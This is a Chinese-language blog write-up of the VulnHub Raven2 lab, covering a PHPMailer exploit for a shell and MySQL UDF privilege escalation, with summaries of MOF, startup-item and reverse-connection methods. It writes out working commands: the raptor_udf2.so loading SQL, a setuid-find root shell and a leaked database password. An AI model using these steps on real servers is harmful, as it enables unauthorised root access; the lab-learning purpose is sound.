Raven2靶机、Mysql提权

Raven: 2 ~ VulnHub

信息收集

Nmap扫端口

80端口信息

 一个.DS_Store文件泄露(好像没什么用)、一个vendor文件夹和一个登陆后台页面

 PATH中找到了flag1,同时还得到了整个网站搭建在var/www/html下

 

PHP版本5.2.16

又看了看SECURITY.md文件,发现里面记录了PHP各个版本的漏洞情况,拿去翻译了一下,只有第一个漏洞符合现在的PHP版本

 

 

百度一下这个漏洞是什么,好家伙正好还是关于这个CMS的漏洞,看了看漏洞复现,用kali查找关于这个漏洞的exp

 

PHPMailer漏洞利用

KALI搜寻关于这个漏洞的exp,选择PHPMailer小于5.2.18的,这里我选择了py脚本,也就是40974.py

 接着将里面的py脚本复制下来保存,记得要改payload中的IP,一个攻击目标,一个本地监听,还要记得后门的文件名

然后按照他说的方法进行操作

这里试了很久这个脚本都没运行成功,查了一下wp发现原来target是contact.php文件,也没有人说原因,不太懂

还有后面的后面路径要改成var/www/html,忽略了这一点。。

但是还有一个坑!!还不能使用默认的后门名,必须要自己改名字,无语了

 终于可以了,交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

  翻了翻目录,看到一个wp-config.php,果然有数据库的账号密码

 连接mysql

mysql -u root -p
R@v3nSecurity

 

MYSQL——UDF提权

因为我是根据mysql提权来找的靶机,所以第一时间就想到了UDF提权,作弊了

看了看使用方法这里说要先编译,那就在本地编译之后上传上去,使用scp上传

scp root@192.168.200.6:/root/raptor_udf2.so /var/www/html

 

上传了之后还是使用下面的命令,因为上面的exp路径不一样

use mysql;
create table foo(line blob);
insert into foo values(load_file('/var/www/html/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find'); //当文件被执行时,根据who参数指定的用户类型设置文件的setuid或者setgid权限

 接着exit退出mysql,查看当前文件,理论上我觉得应该选择具有root权限的文件执行命令。但是好像都可以

find test.php -exec '/bin/sh' \;

 

 过关

 

MYSQL——UDF提权总结

 原理

udf(user defined funtion),用户自定义函数。顾名思义,通过让用户自定义函数,来对mysql的功能进行扩充。udf提权将构造好的udf文件上传到指定目录(mysql<5.1,放置于c:\windows\system32\目录。mysql>5.1,放置于mysql安装目录下的lib\plugin目录下,此文件夹默认不存在,需要自己创建),然后创建自定义函数,执行命令。

利用条件:

1)有写入到目录的权限

2)具有数据库root权限

 

步骤

1、看版本

select version();

2、 看路径

select @@basedir;

3、在mysql安装目录下的lib文件夹中创建plugin文件,并将udf文件上传至该目录。

4、引入udf文件创建自定义函数

CREATE FUNCTION [function_name] RETURNS {STRING|INTERGER|REAL} SONAME ‘shared_library_name’;

shared_library_name:表示函数从哪个文件引入,windows为dll,linux为so

5、如果是window的话可以使用命令添加管理员组,linux的话使用find提权

6.、最后删除自定义函数。

drop function do_system;

  

 

MYSQL——MOF提权

既然提到了UDF,就说说mysql的另一种提权方法,但比较少见

 原理

nullevt.mof文件是windows系统下的一个文件,默认存放路径为c:/windows/system32/wbem/mof/,其作用是每隔5秒钟监控进程的创建和死亡。通过将构造好的mof文件写入此文件夹,每隔一段时间此文件就会自动执行,从而完成提权。

利用条件:

1)windows 2003及以下版本

2)secure_file_priv不为null

3)具有mysql root权限

  

MYSQL——启动项提权

网上还看到了别的提权方式

 原理

将一段vbs脚本导入到C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录下,当服务器重新启动后,会自动运行此段脚本执行命令

利用条件:

1)具有数据库root权限

2) secure_file_priv=””

 

MYSQL——反弹端口连接提权

 原理

反弹端口连接提权也算是udf提权,使用特制的udf文件构造反向端口连接函数,主动连接攻击机。适用于一些特殊场景,例如通过网站无法获取webshell,有了Webshell无法执行命令,有phpmyadmin和root账号,无法查询或者无法获取网站的真实路径。

利用条件:

1)有写入到目录的权限

2) 具有数据库root权限

 

参考文章

看一遍就会的mysql数据库提权操作指南 (qq.com)

posted @ 2021-09-15 20:35  1_Ry  阅读(374)  评论(0编辑  收藏  举报